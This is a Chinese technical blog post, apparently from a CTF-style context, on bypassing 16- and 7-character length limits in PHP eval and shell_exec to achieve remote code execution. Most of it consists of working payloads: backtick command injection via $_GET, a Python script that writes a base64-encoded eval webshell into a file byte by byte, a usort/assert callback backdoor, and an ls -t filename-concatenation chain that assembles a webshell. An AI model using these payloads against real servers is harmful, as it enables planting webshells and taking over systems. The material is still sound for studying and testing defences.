RCE下的一些奇技淫巧

EVAL长度限制突破技巧

限制16字符

PHP Eval函数参数限制在16个字符的情况下,如何拿到Webshell?

<?php
$param = $_REQUEST['param']; If (
strlen($param) < 17 && stripos($param, 'eval') === false && stripos($param, 'assert') === false
) {
eval($param);
}

上面这段代码的意思是传递的参数要小于17位,并且不能存在eval和assert。
那我们怎么处理呢?

`$_GET[1]`

可以这样写

?param=`$_GET[1]`;&1=id

在这里插入图片描述
这样就突破了长度限制,那我们是不是也可以写一些恶意代码?答案是的.
尝试在tmp下创建一个文件

?param=`$_GET[1]`;&1=touch%20/tmp/111.txt

在这里插入图片描述

file_put_contents

注意:想要完成这个,需要设置文件所属主、组为www-data,不然权限不够。

foo.php?1=file_put_contents&param=$_GET[1](N,P,8); 
foo.php?1=file_put_contents&param=$_GET[1](N,D,8);
...
foo.php?1=file_put_contents&param=$_GET[1](N,w,8);
/* 'PD9waHAgZXZhbCgkX1BPU1RbOV0pOw' ✲写入文件'N'中	*/
foo.php?param=include$_GET[1];&1=php://filter/read=convert.b ase64-decode/resource=N

语句中的8是什么意思?
查阅资料得知8在php底层中的c语言是追加。

为什么要写base64编码?
因为使用file_put_contents时,有些字符不能使用,例如<.

PD9waHAgZXZhbCgkX1BPU1RbOV0pOw      #<?php eval($_POST[9]);

内容太长了,通过python脚本操作。

import requests

string = "PD9waHAgZXZhbCgkX1BPU1RbOV0pOw"

for i in string:
    payload = "http://192.168.61.133/index.php?param=$_GET[1](N,{},8);&1=file_put_contents".format(i)
    response = requests.get(payload)
    if response.status_code == 200:
        print(i)
    else:
        print(response.status_code)

查看文件N
在这里插入图片描述

插入成功。

usort(…$_GET);

也就是可变长参数=>usort回调后门=>任意代码执行
usort就是将传入的两个参数,第一个是一个数组,第二个是一个回调函数,然后将数组的值挨个向回调函数里放。

foo.php?1[]=test&1[]=phpinfo();&2=assert

实操
使用浏览器发包

?1[]=test&1[]=phpinfo();&2=assert

然后使用burp抓包,改包的内容为post。
在这里插入图片描述
结果
在这里插入图片描述

限制7字符

<?php
$param = $_REQUEST['param'];
if ( strlen($param) < 8 ) { 
	echo shell_exec($param);
}

考虑使用?`$_GET[1];`&1=id,显然超出长度。

>0这样是创建一个文件名为0的文件。
那我们就想能不能通过一些方式,将文件名排列组合拼接在一起形成一句话木马?能利用的也就是按照时间进行排序。

ls -t以创建时间来列出当前目录下的所有文件
文件列表以[换行符]分割每个文件
引入\转义ls时的换行
换行不影响命令执行
成功构造任意命令执行,写入webshell

在这里插入图片描述

?param= >hp
?param=>c.p\\
?param=>d\>\\
?param=>\ \-\\
?param=>e64\\
?param=>bas\\
?param=>7\|\\
?param=>XSk\\
?param=>Fsx\\
?param=>dFV\\
?param=>kX0\\
?param=>bCg\\
?param=>XZh\\
?param=>AgZ\\
?param=>waH\\
?param=>PD9\\
?param=>o\ \\
?param=>ech\\

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

成功。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

麦农111

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值